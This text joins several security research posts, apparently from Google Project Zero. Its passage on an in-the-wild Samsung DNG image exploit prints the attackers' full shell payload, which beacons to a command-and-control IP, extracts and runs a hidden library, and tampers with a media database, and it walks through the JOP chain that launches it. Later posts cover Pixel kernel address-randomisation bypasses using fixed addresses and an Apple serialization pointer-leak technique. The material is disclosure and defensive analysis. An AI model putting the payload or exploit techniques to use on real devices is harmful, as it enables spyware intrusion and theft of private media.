\-> Transformed memory at offset 0xf000:               04b2 04b2 04b2 04b2 04b2 ....

Leaking interesting pointers

Using the above technique, we can leak arbitrary values at offsets from the TrimBounds vtable. We demonstrated this for offset 0, but the same idea can be applied for other offsets (up to 65536, the maximum index into the substitution table).

Say you want to leak a pointer at offset 0x1f8 from the TrimBounds vtable. This can be achieved in the following way:

/-< Prepared memory at offset 0xf000:                                   f001 f101 f201 f301 ...

|

|-< MapTable substitution table (TrimBounds vtable) at offset 0x1f0:    4c5a ebcc 7f00 0000 ....

|

\-> Transformed memory at offset 0xf000:                                4c5a ebcc 7f00 0000 ....

But again, the exploit needs to support different library versions. These different library versions have pointers to leak at different offsets from the vtable. But based on the first leak at offset 0, we can “calculate” the right offsets to leak using another MapTable operation.

In summary the process goes as follows (illustrated below):

1. Corrupt a TrimBounds opcode into a MapTable object with the substitution table pointing at the TrimBounds vtable.

2. Have the bogus MapTable opcode process an area of all zeros. The substituted values will be the lower 2 bytes of the first vtable entry (which is the address of QuramDngOpcode::~QuramDngOpcode()). The top nibble will depend on the ASLR slide, and the lower 3 nibbles will be version dependent.

3. Using MapTable opcodes with well prepared substitution tables (supporting different ASLR slides and library versions), substitute those values to the offset between the TrimBounds vtable and the address of the pointer to leak.

4. Similar to step 1, corrupt another TrimBounds opcode into a MapTable object with the substitution table pointing at the TrimBounds vtable.

5. The bogus MapTable will now substitute the offsets from the vtable into their respective values, effectively writing a leaked pointer into memory.

The memory used for preparing these pointers is at offset 0xf000 from the raw pixel buffer, which contains the last series of 1040 “unknown” opcodes. This memory will become the JOP chain.

The leaked pointers are mostly pointers to functions inside libimagecodec.quram.so, as well as the value of libc’s __system_property_get, which is located in the GOT. Conveniently the .got segment is located after the TrimBounds’s vtable, and within a 65536 bytes offset.

Preparing the payload

By using more MapTable operations, we can change the leaked pointers to the JOP gadget addresses we are interested in. The leaked libc pointer is changed to the address of system.

This is an overview of the leaked pointers and to what they are changed:

A long shell command is also prepared at offset 0x10000 from the raw pixel buffer, which also falls in that 1040 Unknown opcodes region.

We end up with:

•  a JOP chain prepared at 0xf000. Note that it is preceded by one of the 1040 Unknown opcodes with opcode ID 23 (0x17)

• a shell command at offset 0x10000. Note again how it is within the region of the Unknown opcodes

Triggering the JOP chain

Similar to our initial corruption, we increment values between 0x2800 and 0x6400 with 1, but this time at offset 0x22 within the objects, using DeltaPerColumn opcodes. The opcode objects there have been executed by now, so this does not affect them. However, the QuramDngImage is also there and offset 0x20 in the QuramDngImage is a pointer to the raw pixel buffer. By adding 1 to offset 0x22, we basically shift the raw pixel buffer pointer with 0x10000 bytes, pointing it right at the shell command.

Finally, the DNG decoder will execute that last series of 1040 “unknown” opcodes. Offset 0xf000 - where we prepared our JOP chain - falls nicely on the boundary of one of those opcodes, so it will be executed as another opcode.

QuramDngOpcode::aboutToApply reads the bogus vtable pointer at raw pixel buffer offset 0xf000 and calls the fourth function in it, which will be qpng_read_data.

QuramDngOpcodeUnknown *__fastcall QuramDngOpcode::aboutToApply(QuramDngOpcode *opcode, QuramDngDecoder *decoder)

{

    int v2; // w8

    QuramDngOpcodeUnknown *v5; // x0

    unsigned int v6; // w1

    v2 = *((_DWORD *)opcode + 4);

    if ( (v2 & 2) != 0 && *((_BYTE *)decoder + 34) )

    {

        *((_BYTE *)decoder + 5377) = 1;

        return 0;

    }

    if ( *((_DWORD *)opcode + 3) >= 0x1040001u && *((_BYTE *)opcode + 0x14) )

    {

        if ( (v2 & 1) != 0 )

            return 0;

        Throw_dng_error(-9994, 0, "QuramDngOpcode::aboutToApply 1", 0);

    }

    if ( ((*(__int64 (__fastcall **)(QuramDngOpcode *, QuramDngDecoder *))(*(_QWORD *)opcode + 0x18LL))(opcode, decoder) // bogus vtable dereference

        & 1) != 0 )

    {

        return (QuramDngOpcodeUnknown *)(((*(__int64 (__fastcall **)(QuramDngOpcode *))(*(_QWORD *)opcode + 16LL))(opcode)

                                        & 1) == 0);

    }

    else

    {

        v5 = (QuramDngOpcodeUnknown *)Throw_dng_error(-9994, 0, "QuramDngOpcode::aboutToApply 2", 0);

        return QuramDngOpcodeUnknown::QuramDngOpcodeUnknown(v5, v6);

    }

}

.got:00000000002E3390 qpng_check_fp_number_ptr DCQ qpng_check_fp_number  // address of vtable placed at offset 0xf000

.got:00000000002E3398 _ZNK17QuramDngSrational9getReal64Ev_ptr DCQ QuramDngSrational::getReal64(void)

.got:00000000002E33A0 qpng_write_IHDR_ptr DCQ qpng_write_IHDR 

.got:00000000002E33A8 qpng_read_data_ptr DCQ qpng_read_data  // bogus vtable entry that will be called

When qpng_read_data gets called, x0 will point to the opcode, as it is a method call. x1 points to the decoder, but is not important for the JOP chain. x2 is not specifically set up for this function call, but it still points to the QuramDngImage from QuramDngOpcodeList::doApply higher up the stack (it has not been clobbered). x2 pointing to the QuramDngImage is important for the JOP chain.

qpng_read_data will move x0 into x19 and call the next gadget, __ink_jpeg_enc_process_image_data+64.

qpng_read_data:

0000000000196684    STP  X20, X19, [SP,#-0x10+var_10]!

0000000000196688    STP  X29, X30, [SP,#0x10+var_s0]

000000000019668C    ADD  X29, SP, #0x10

0000000000196690    LDR  X8, [X0,#0x138]                ; x8: __ink_jpeg_enc_process_image_data+64

0000000000196694    MOV  X19, X0                        ; x19: opcode (offset 0xf000 from the raw pixel buffer)

0000000000196698    CBZ  X8, loc_1966C0

000000000019669C    MOV  X0, X19

00000000001966A0    MOV  X20, X2                        ; x20: QuramDngImage

00000000001966A4    BLR  X8                             ; __ink_jpeg_enc_process_image_data+64

We jump in the middle of __ink_jpeg_enc_process_image, which adds 0x20 to the QuramDngImage pointer, having x1 point at the address that contains the raw pixel buffer pointer:

__ink_jpeg_enc_process_image_data+64:

0000000000161664    LDR  X8, [X19,#0x928]  ; x19: opcode (offset 0xf000 from the raw pixel buffer)

                                           ; x8: QURAMWINK_Read_IO2+124

0000000000161668    ADD  X1, X20, #0x20    ; x20: QuramDngImage 

                                           ; x1: address of QuramDngImage.raw_pixel_buffer

000000000016166C    MOV  X0, X19           ; not relevant

0000000000161670    BLR  X8                ; QURAMWINK_Read_IO2+124

QURAMWINK_Read_IO2+124 then dereferences x1, which loads the raw pixel buffer pointer into x1:

qpng_check_IHDR+624 calls qpng_error, which copies the raw pixel buffer pointer from x1 into x19:

qpng_check_IHDR+624:

0000000000189608    MOV  X0, X19                        ; x19: opcode (offset 0xf000 from the raw pixel buffer)

000000000018960C    BL   .qpng_error

qpng_error:

000000000018BD30    STP  X20, X19, [SP,#-0x10+var_10]!  

000000000018BD34    STP  X29, X30, [SP,#0x10+var_s0]

000000000018BD38    ADD  X29, SP, #0x10

000000000018BD3C    MOV  X19, X1                        ; x19: address of shell command

000000000018BD40    MOV  X20, X0

000000000018BD44    CBZ  X0, loc_18BD5C

000000000018BD48    LDR  X8, [X20,#0x118]               ; x8: __ink_jpeg_enc_process_image+64

000000000018BD4C    CBZ  X8, loc_18BD5C

000000000018BD50    MOV  X0, X20                       

000000000018BD54    MOV  X1, X19                       

000000000018BD58    BLR  X8                             ; __ink_jpeg_enc_process_image+64

We execute a second time the __ink_jpeg_enc_process_image+64 gadget, which copies the raw pixel buffer pointer into x0 and calls system. The raw pixel buffer was corrupted before the JOP chain to point at the shell command, resulting in a system(<shell_command>) call.

__ink_jpeg_enc_process_image+64:

0000000000161664    LDR  X8, [X19,#0x928]  ; x19: address of shell command

                                           ; x8: system

0000000000161668    ADD  X1, X20, #0x20

000000000016166C    MOV  X0, X19           ; x0: address of shell command

0000000000161670    BLR  X8                ; system

Below is a summary of the sequence of gadgets and their purpose:

Payload

The payload shell command is:

/system/bin/sh -c 'ping -c 1 -w1 -p 2066c1d8ce2834f1fbb1296f9dca73419 91.132.92.35 >/dev/null & '; pid=`cat /proc/self/stat | cut -F 4` && ppid=`cat /proc/$pid/stat | cut -F 4`;

rm -f /data/data/com.samsung.ipservice/files/b.so;

rm -f /data/data/com.samsung.ipservice/files/z.zip;

image=`find /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp\ Images/ /storage/emulated/95/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1000/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1001/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1002/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1003/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1004/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1005/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1006/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1007/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1008/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1009/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1010/Media/WhatsApp\ Images/ -type f -atime -720m -maxdepth 1 -exec grep -lo '.*066c1d8ce2834f1fbb1296f9dca73419.*' {} \; -quit 2>/dev/null` ;

/system/bin/sh -c 'ping -c 1 -w1 -p $(test "$image" && echo 31066c1d8ce2834f1fbb1296f9dca73419 || echo 30066c1d8ce2834f1fbb1296f9dca73419) 91.132.92.35 >/dev/null & ' ;

tail -c $(( 390245 )) "$image" > /data/data/com.samsung.ipservice/files/z.zip && unzip -o -d / /data/data/com.samsung.ipservice/files/z.zip && chmod +x /data/data/com.samsung.ipservice/files/b.so;

R=I SEP=CAFEBABE LD_PRELOAD=/data/data/com.samsung.ipservice/files/b.so /system/bin/id;

content write --uri "content://com.samsung.cmh/files?service_flag=update%20files%20SET%20serviceflag%3D%20serviceflag%7C66304";

kill -9 $ppid

It performs a series of actions:

• It will ping a C2 server with a custom identifier

• It deletes previous dropped artifacts, if any.

• It searches through all WhatsApp images for itself (using a unique string)

• It unzips b.so from itself into /data/data/com.samsung.ipservice/files/b.so. Effectively, it is a polyglot of a DNG and ZIP file.

• Note that only the com.samsung.ipservice process is allowed to write here, which confirms this is the targeted process.

• The second-to-last command contains the following service_flag URL decoded: update files SET serviceflag= serviceflag|66304 . That last value (0x10300)  is a flag bitmask that will set the IPService, FaceService and StoryService in com.samsung.cmh’s files table. These flags are used by the different services to track which files they need to process (flag bit set to 0) and have already processed (flag bit set to 1). The likely objective of the attackers here is to prevent future reparsing by these services of the images.

Finally it runs b.so, the agent.

Fix

Curiously, this issue was silently fixed in Samsung’s April 2025 updates. In September 2025, a CVE was assigned (CVE-2025-21042) by Samsung and the security bulletin updated. Note that not all supported Samsung devices are serviced monthly security updates. Some devices are part of a quarterly or biannual security update schedule, which means they might have received the fix at a later date. On December 11, 2025, Samsung told us the following: "patches for SVE-2025-1959 have been deployed to all devices supported by Security Update, without exception."

The fixed function now looks like below (simplified version). The bold parts are the added checks.

__int64 __fastcall QuramDngOpcodeDeltaPerColumn::processArea(

        QuramDngOpcode *opcode,

        QuramDngDecoder *decoder,

        QuramDngImage *image,

        QuramDngRect *rect)

{

...

    image_buffer = image->buffer;

...

                image_number_of_planes = image_buffer->planes;  // 3

                opcode_first_plane = opcode->plane;  // 5125

....

                opcode_number_of_planes = opcode->planes;  // 5123

                opcode_last_plane = opcode_first_plane + opcode_number_of_planes;  // 5125 + 5123 = 10248

...

                    if ( opcode_first_plane < opcode_last_plane // 5125 < 10248

                        && opcode_first_plane < image_number_of_planes )  // 5125 < 3

                    {

...  // We will never go here

                            current_plane = opcode_first_plane;

...

                                do

                                {

...                                 // Add delta to the value in the raw pixel buffer at offset corresponding to plane `current_plane`

                                    current_plane++;

                                }

                                while ( current_plane < opcode_last_plane 

                                       && current_plane < image_number_of_planes );

...

}

As we can see from the fix:

• The opcode_last_plane is now calculated correctly.

• Before dereferencing the raw pixel buffer, a check is performed that the current_plane is within the number of planes of the image.

Mitigations

Except for some ASLR bypassing tricks and a little bit of JOP work, no mitigations posed a significant hurdle for the attackers:

• No control flow integrity mitigations, like PAC or BTI, are compiled into the Quram library. This allowed the attackers to use arbitrary addresses as JOP gadgets and construct a bogus vtable.

• The “hardened” scudo allocator wasn’t an obstacle either. The heap spraying primitives - more or less inherent to the DNG format - are quite powerful and allow for a well predicted heap layout, even in the presence of scudo’s randomization strategy. The absence of the quarantine feature is also convenient to deterministically reclaim the spot of the stage 2 image.

MTE would likely have prevented both:

• the initial vulnerability trigger to corrupt the image dimensions

• the hundreds of subsequent out of bounds MapTable and DeltaPerColumn operations

• 
  

preventing reliable exploitation of this vulnerability, at least with the current exploit strategy.

Conclusion

This case illustrates how certain image formats provide strong primitives out of the box for turning a single memory corruption bug into interactionless ASLR bypasses and remote code execution. By corrupting the bounds of the pixel buffer using the bug, the rest of the exploit could be performed by using the “weird machine” that the DNG specification and its implementation provide.

The bug exploited in this case is quite shallow and could have been found manually or through fuzzing. As Project Zero’s Reporting Transparency illustrates, several other vulnerabilities in the same component have been discovered.

These types of exploits do not need to be part of long and complex exploit chains to achieve something useful for attackers. By finding ways to reach the right attack surface and using a single vulnerability, attackers are able to access all the images and videos of an Android’s media store, which is a very interesting capability for spyware vendors.

I would like to thank everyone who contributed to this analysis:

• Meta for the initial leads

• Brendon Tiszka of Google Project Zero for the research on how the com.samsung.ipservice attack surface can be reached and the followup research he performed into the Quram library, leading to several more discoveries.

• Clement Lecigne of Google Threat Intelligence Group for assisting in the analysis

Introduction

I've recently been researching Pixel kernel exploitation and as part of this research I found myself with an excellent arbitrary write primitive…but without a KASLR leak. As necessity is the mother of all invention, on a hunch, I started researching the Linux kernel linear mapping.

The Linux Linear Mapping

The linear mapping is a region in the kernel virtual address space that is a direct 1:1 unstructured representation of physical memory. Working with Jann, I learned how the kernel decided where to place this region in the virtual address space. To make it possible to analyze kernel internals on a rooted phone, Jann wrote a tool to call tracing BPF's privileged BPF_FUNC_probe_read_kernel helper, which by design permits arbitrary kernel reads. The code for this is available here. The linear mapping virtual address for a given physical address is calculated by the following macro:

#define phys_to_virt(x)    ((unsigned long)((x) - PHYS_OFFSET) | PAGE_OFFSET)

On Arm64 PAGE_OFFSET is simply:

#define VA_BITS (CONFIG_ARM64_VA_BITS)

#define _PAGE_OFFSET(va) (-(UL(1) << (va)))

#define PAGE_OFFSET (_PAGE_OFFSET(VA_BITS))

As CONFIG_ARM64_VA_BITS is 39 on Android, it’s easy to calculate PAGE_OFFSET = 0xffffff8000000000.

PHYS_OFFSET is calculated by:

extern s64 memstart_addr;

/* PHYS_OFFSET - the physical address of the start of memory. */

#define PHYS_OFFSET ({ VM_BUG_ON(memstart_addr & 1); memstart_addr; })

memstart_addr is an exported variable that can be looked up in /proc/kallsyms. Using Jann’s bpf_arb_read program, it’s easy to see what this value is:

tokay:/ # grep memstart /proc/kallsyms                                         

ffffffee6d3b2b20 D memstart_addr

ffffffee6d3f2f80 r __ksymtab_memstart_addr

ffffffee6dd86cc8 D memstart_offset_seed

tokay:/ # cd /data/local/tmp

tokay:/data/local/tmp # ./bpf_arb_read ffffffee6d3b2b20 8                                              <

ffffffee6d3b2b20  00 00 00 80 00 00 00 00                          |........|

tokay:/data/local/tmp #

This value (0x80000000) doesn’t look particularly random. In fact, memstart_addr was theoretically randomized on every boot, but in practice this hasn’t happened for a while on arm64. In fact as of commit 1db780bafa4c it’s no longer even theoretical - virtual address randomization of the linear map is no longer a supported feature in arm64 Linux kernel.

The systemic issue is that memory can (theoretically) be hot plugged in Linux and on Android because of CONFIG_MEMORY_HOTPLUG=y. This feature is enabled on Android due to its usage in VM memory sharing. When new memory is plugged into an already running system, it must be possible for the Linux kernel to address this new memory, including adding it onto the linear map. Android on arm64 uses a page size of 4 KiB and 3-level paging, which means virtual addresses in the kernel are limited to 39 bits, unlike typical X86-64 desktops which use 4-level paging and have 48 bits of virtual address space (for kernel and userspace combined); the linear map has to fit within this space further shrinking the area available for it. Given that the maximum amount of theoretical physical memory is far larger than the entire possible linear map region range, the kernel places the linear map at the lowest possible virtual address so it can theoretically be prepared to handle exorbitant (up to 256GB) quantities of hypothetical future hot-plugged physical memory. While it is not technically necessary to choose between memory hot-plugging support and linear map randomization, the Linux kernel developers decided not to invest the engineering effort to implement memory hot-plugging in a way that preserves linear map randomization.

So we now know that PHYS_OFFSET will always be 0x80000000, and thusly, the phys_to_virt calculation becomes purely static - given any physical address, you can calculate the corresponding linear map virtual address by the following formula:

#define phys_to_virt(x)    ((unsigned long)((x) - 0x80000000) | 0xffffff8000000000)

Kernel physical address non-randomization

Compounding this issue, it also happens that on Pixel phones, the bootloader decompresses the kernel itself at the same physical address every boot: 0x80010000.

tokay:/ # grep Kernel /proc/iomem

  80010000-81baffff : Kernel code

  81fc0000-8225ffff : Kernel data

Theoretically, the bootloader can place the kernel at a random physical address every boot, and many (but not all) other phones, such as the Samsung S25, do this. Unfortunately, Pixel phones are an example of a device that simply decompresses the kernel at a static physical address.

Calculating static kernel virtual addresses

This means that we can statically calculate a kernel virtual address for any kernel .data entry. Here’s an example of me computing that linear map address for the modprobe_path string in kernel .data on a Pixel 9:

tokay:/ # grep modprobe_path /proc/kallsyms                                    

ffffffee6ddf2398 D modprobe_path

tokay:/ # grep stext /proc/kallsyms                                            

ffffffee6be10000 T _stext

//Offset from kernel base will be 0xffffffee6ddf2398 - 0xffffffee6be10000 = 0x1fe2398

//Physical address will be 0x80010000 + 0x1fe2398 = 0x81ff2398

//phys_to_virt(0x81ff2398) = 0xffffff8001ff2398

tokay:/ # /data/local/tmp/bpf_arb_read ffffff8001ff2398 64                     

ffffff8001ff2398  00 73 79 73 74 65 6d 2f 62 69 6e 2f 6d 6f 64 70  |.system/bin/modp|

ffffff8001ff23a8  72 6f 62 65 00 00 00 00 00 00 00 00 00 00 00 00  |robe............|

[ zeroes ]

tokay:/ # reboot                                                                                                         sethjenkins@sethjenkins91:~$ adb shell

tokay:/ $ su

tokay:/ # /data/local/tmp/bpf_arb_read ffffff8001ff2398 64

ffffff8001ff2398  00 73 79 73 74 65 6d 2f 62 69 6e 2f 6d 6f 64 70  |.system/bin/modp|

ffffff8001ff23a8  72 6f 62 65 00 00 00 00 00 00 00 00 00 00 00 00  |robe............|

[ zeroes ]

tokay:/ #

So modprobe_path will always be accessible at the kernel virtual address 0xffffff8001ff2398, in addition to its normal mapping, even with KASLR enabled. In practice, on Pixel devices you can derive a valid virtual address for a kernel symbol by calculating its offset and simply adding a hardcoded static kernel base address of 0xffffff8000010000. In short, instead of breaking the KASLR slide, it is possible to just use 0xffffff8000010000 as a kernel base instead.

The linear mapping memory is even mapped rw for any kernel .data regions. The only consolation that makes using this address slightly less effective than the traditional method of leaking the KASLR slide is that .text regions are not mapped executable - so an attacker cannot use this base for e.g. ROP gadgets or more generally PC control. But oftentimes, a Linux kernel attacker’s goal isn’t arbitrary code execution in kernel context anyway - arbitrary read-write is the more frequently desired primitive.

Impact on devices with kernel physical address randomization

Even on devices where the kernel location is randomized in the physical address space, linear mapping non-randomization still softens the kernel considerably to attempts at exploitation. This is particularly because techniques that involve spraying memory (either kernel structures or even userland mmap’s!) can land at predictable physical addresses - and those physical addresses are easily referenceable in kernel virtual address space through the linear map. That potentially gives an attacker a methodology for placing kernel data structures or even simply attacker-controlled userland memory at a known kernel virtual address. I created a simple program that allocated (via mmap and page fault) a substantial quantity (~5 GB)  of physical memory on a Samsung S23, then used /proc/pagemap to create a list of which physical page frame numbers (pfns) were allocated. I ran this program 100 times (rebooting in between each time), then counted how often each pfn appeared across the 100 execution cycles. The set of pfns and their counts for how often they appeared were then converted into an image where each pfn is represented by a single pixel. The brighter the green of a pixel, the more often that page was attacker controlled, with a white pixel representing a pfn that was allocated every time. A black pixel represents a pfn that was never allocated - often because those pfn numbers are not mapped to physical memory or because they are used every time in a deterministic way. A big thank you to Jann Horn for developing the tool to create this image from the data that I collected.

This data exemplifies the non-homogenous reliability of pfn allocation to userland mappings, albeit on a device that was only just rebooted. There are ranges of pfns that are allocated quite reliably, and other ranges that are quite unreliable (but still occasionally used). For example, here’s a range of pfns surrounding one of the pages that was allocated 100 times in a row. I suspect this sample is representative of the practical reliability of this technique for placing desired data at a known kernel address for at least a newly rebooted device.

While reliability may suffer on a device that hasn’t rebooted in some time, it remains high enough to be inviting to real-world attackers. Being able to place arbitrarily readable and writable data at a known kernel virtual address is a powerful exploitation primitive as an attacker can much more easily forge kernel data structures or objects and, for example, emplace pointers to those objects in heap sprays attacking UAF issues.

The Prognosis

I reported these two separate issues, lack of linear map randomization, and kernel lands at static physical address in Pixel, to the Linux kernel team and Google Pixel respectively. However both of these issues are considered intended behavior. While Pixel may introduce randomized physical kernel load addresses at some later point as a feature, there are no immediate plans to resolve the lack of randomization of the Linux kernel’s linear map on arm64.

Conclusion

Three years ago, I wrote on the state of x86 KASLR and noted how “it is probably time to accept that KASLR is no longer an effective mitigation against local attackers and to develop defensive code and mitigations that accept its limitations.” While it remains true that KASLR should not be trusted to prevent exploitation, particularly in local contexts, it is regrettable that the attitude around Linux KASLR is so fatalistic that putting in the engineering effort to preserve its remaining integrity is not considered to be worthwhile. The joint effect of these two issues dramatically simplified what might otherwise have been a more complicated and likely less reliable exploit. While side-channel attacks do impact the long-term viability of KASLR on all architectures, it is notable that Project Zero and the Google Threat Intelligence Group have yet to see a hardware side-channel attack for bypassing KASLR on Android in the wild. Additionally, KASLR still plays an important role in mitigating any remote kernel exploitation attempts. It is valuable from a security in-depth perspective to recognize the impact KASLR has on exploit complexity and reliability in real-world scenarios. In the future, we hope to see changes to the Linux kernel linear mapping and memory hot-plugging implementation to make this a less inviting target for attackers. Randomizing the location of the linear map in the virtual address space, increasing the entropy in physical page allocation, and randomizing the location of the kernel in the physical address space are all concrete steps that can be taken that would improve the overall security posture of Android, the Linux kernel, and Pixel.

Posted by Jann Horn, Google Project Zero

Introduction

Some time in 2024, during a Project Zero team discussion, we were talking about how remote ASLR leaks would be helpful or necessary for exploiting some types of memory corruption bugs, specifically in the context of Apple devices. Coming from the angle of "where would be a good first place to look for a remote ASLR leak", this led to the discovery of a trick that could potentially be used to leak a pointer remotely, without any memory safety violations or timing attacks, in scenarios where an attack surface can be reached that deserializes attacker-provided data, re-serializes the resulting objects, and sends the re-serialized data back to the attacker.

The team brainstormed, and we couldn't immediately come up with any specific attack surface on macOS/iOS that would behave this way, though we did not perform extensive analysis to test whether such attack surface exists. Instead of targeting a real attack surface, I tested the technique described here on macOS with an artificial test case that uses NSKeyedArchiver serialization as the target. Because of the lack of demonstrated real-world impact, I reported the issue to Apple without filing it in our bugtracker. It was fixed in the 31 Mar 2025 security releases. Links to Apple code in this post go to an outdated version of the code that hasn't been updated in years, and descriptions of how the code works refer to the old unfixed version.

I decided to write about the technique since it is kind of intriguing and novel, and some of the ideas in it might generalize to other contexts. It is closely related to a partial pointer leak and another pointer ordering leak that I discovered in the past, and shows how pointer-keyed data structures can be used to leak addresses under ideal circumstances.

Background - the tech tree

hashDoS

To me, the story of this issue begins in 2011, when the hashDoS attack was presented at 28C3 (slides, recording). In essence, hashDoS is a denial-of-service attack on services (in particular web servers) that populate hash tables with lots of attacker-controlled keys (like POST parameters). It is based on the observation that many hash table implementations have O(1) complexity per insert/lookup operation in the average case, but O(n) complexity for the same operations in the worst case (where the hashes of all keys land in the same hash bucket, and the hash table essentially turns into something like a linked list or an unsorted array depending on how it is implemented). In particular if the hash function used for keys is known to the attacker, then by constructing a request full of parameters whose keys all map to the same hash bucket, an attacker can cause the server to spend O(n²) time processing such a request; this turned out to be enough to keep a web server's CPU saturated using ridiculously small amounts of network traffic.

There is also much older prior work on the idea of deliberately creating hash table collisions to leak addresses, as pointed out in a 29C3 talk about the same topic. Solar Designer wrote in Phrack issue 53 back in 1998:

----[ Data Structures and Algorithm Choice

When choosing a sorting or data lookup algorithm to be used for a normal application, people are usually optimizing the typical case. However, for IDS [intrusion detection systems] the worst case scenario should always be considered: an attacker can supply our IDS with whatever data she likes. If the IDS is fail-open, she would then be able to bypass it, and if it's fail-close, she could cause a DoS for the entire protected system.

Let me illustrate this by an example. In scanlogd, I'm using a hash table to lookup source addresses. This works very well for the typical case as long as the hash table is large enough (since the number of addresses we keep is limited anyway). The average lookup time is better than that of a binary search. However, an attacker can choose her addresses (most likely spoofed) to cause hash collisions, effectively replacing the hash table lookup with a linear search. Depending on how many entries we keep, this might make scanlogd not be able to pick new packets up in time. This will also always take more CPU time from other processes in a host-based IDS like scanlogd.

[...]

It is probably worth mentioning that similar issues also apply to things like operating system kernels. For example, hash tables are widely used there for looking up active connections, listening ports, etc. There're usually other limits which make these not really dangerous though, but more research might be needed.

hashDoS as a timing attack

From a slightly different perspective, the central observation of hashDoS is: If an attacker can insert a large number of chosen keys into a hash table (or hash set) and knows which hash buckets these keys hash to, then the attacker can (depending on hash table implementation details) essentially slow down future accesses to a chosen hash bucket.

This becomes interesting if the attacker can cause the insertion of other keys whose hashes are secret into the same hash table. In practice, this can for example happen with hash tables which support mixing multiple key types together, like JavaScript's Map. Back in 2016, in the Firefox implementation, int32 numbers were hashed with a fixed hash function ScrambleHashCode(number), while strings were atomized/interned and then hashed based on their virtual address. That made it possible to first fill an attacker-chosen hash table bucket with lots of elements, then insert a string, observe whether its insertion is fast or slow, and determine from that whether the string's hash matches the attacker-chosen hash bucket.

With some tricks relying on a pattern in the addresses of interned single-character strings in Firefox, that made it possible to leak the lower 32 bits of a heap address through Map insertions and timing measurements. For more details, see the original writeup and bug report. Of course, nowadays that kind of timing-based in-process partial pointer leak from JavaScript would be considered less interesting, since it is generally assumed that JavaScript can read all memory in the same process anyway...

A takeaway from this is: When pointers are used as the basis for object hash codes, this can leak pointers through side channels in keyed data structures.

Linux: object ordering leak through in-order listing of a pointer-keyed tree

As I noted in a blog post a few years ago, on Linux, it is possible for unprivileged userspace to discover in what order struct file instances are stored in kernel virtual memory by reading from /proc/self/fdinfo/<epoll fd> - this file lists all files that are watched by an epoll instance by iterating through a red-black tree that is (essentially) sorted by the virtual address of the referenced struct file, so the data given to userspace is sorted in the same way.

(As I noted in that post, this could be particularly interesting for breaking probabilistic memory safety mitigations that rely on pointer tagging. If the highest bits of pointers are secret tag bits, and an attacker can determine the order of the addresses (including tag bits) of objects, the attacker can infer whether an object's tag changed after reallocation.)

A takeaway from this is: Keyed data structures don't just leak information about object hash codes through timing; iterating over a keyed data structure can also generate data whose ordering reveals information about object hash codes.

Serialization attacks

There are various approaches to serializing an object graph. On one side of the spectrum is schema-based serialization, where ideally:

• serializable types with their members are declared separately from other types

• fields explicitly declare which other types they can point to (there are no generic pointers that can point to anything)

• deserialization starts from a specific starting type

On the other side of the serialization spectrum are things like classic Java serialization (without serialization filters), where essentially any class marked as Serializable can be deserialized, serialized fields can often flexibly point to lots of different types, and therefore serialized data can also have a lot of control over the shape of the resulting object graph. There is a lot of public research on the topic of "serialization gadget chains" in Java, where objects can be combined such that deserializing them results in things like remote code execution. This type of serialization is generally considered to be unsafe for use across security boundaries, though Android exposes it across local security boundaries.

Somewhere in the middle of this spectrum is serialization that is fundamentally built like unsafe deserialization, but adds some coarse filters that only allow deserialized objects to have types from an allowlist to make it safe. In Java, that is called "serialization filtering". This is also approximately the behavior of Apple's NSKeyedUnarchiver.unarchivedObjectOfClasses, which this post focuses on.

An artificial test case

The goal of the technique described in this post is to leak a pointer to the "shared cache" (a large mapping which is at the same virtual address across all processes on the system, whose address only changes on reboot) through a single execution of the following test case, which uses NSKeyedUnarchiver.unarchivedObjectOfClasses to deserialize an attacker-supplied object graph consisting of the types NSDictionary, NSNumber, NSArray and NSNull, re-serializes the result, and writes back the resulting serialized data:

@import Foundation;

int main() {

  @autoreleasepool {

    NSArray *args = [[NSProcessInfo processInfo] arguments];

    if (args.count != 3) {

      NSLog(@"bad invocation");

      return 1;

    }

    NSString *in_path = args[1];

    NSString *out_path = args[2];

    NSError *error = NULL;

    NSData *input_binary = [NSData dataWithContentsOfFile:in_path];

    /* decode */

    NSArray<Class> *allowed_classes = @[ [NSDictionary class], [NSNumber class], [NSArray class], [NSString class], [NSNull class] ];

    NSObject *decoded_data = [NSKeyedUnarchiver unarchivedObjectOfClasses:[NSSet setWithArray:allowed_classes] fromData:input_binary error:&error];

    if (error) {

      NSLog(@"Error %@ decoding", error);

      return 1;

    }

    NSLog(@"decoded");

    NSData *encoded_binary = [NSKeyedArchiver archivedDataWithRootObject:decoded_data requiringSecureCoding:true error:&error];

    if (error) {

      NSLog(@"Error %@ encoding", error);

      return 1;

    }

    NSLog(@"reencoded");

    [encoded_binary writeToFile:out_path atomically:NO];

  }

  return 0;

}

(The test case also allows NSString but I think that was irrelevant.)

Building blocks

The NSNull / CFNull singleton

The CFNull type is special: There is only one singleton instance of it, kCFNull, implemented in CFBase.c, which is stored in the shared cache. When you deserialize an NSNull object, this doesn't actually create a new object - instead, the singleton is used.

In the CFRuntimeClass for CFNull, __CFNullClass, no hash handler is provided. When CFHash is called on an object with a type like __CFNullClass that does not implement a ->hash handler, the address of the object is used as the hash code.

Pointer-based hashing is not specific to NSNull; but there probably aren't many other types for which deserialization uses singletons in the shared cache. There are probably way more types for which instances' hashes are heap addresses.

NSNumber

The NSNumber type encapsulates a number and supports several types of numbers; its hash handler __CFNumberHash hashes 32-bit integers with _CFHashInt, which pretty much just performs a multiplication with some big prime number.

NSDictionary

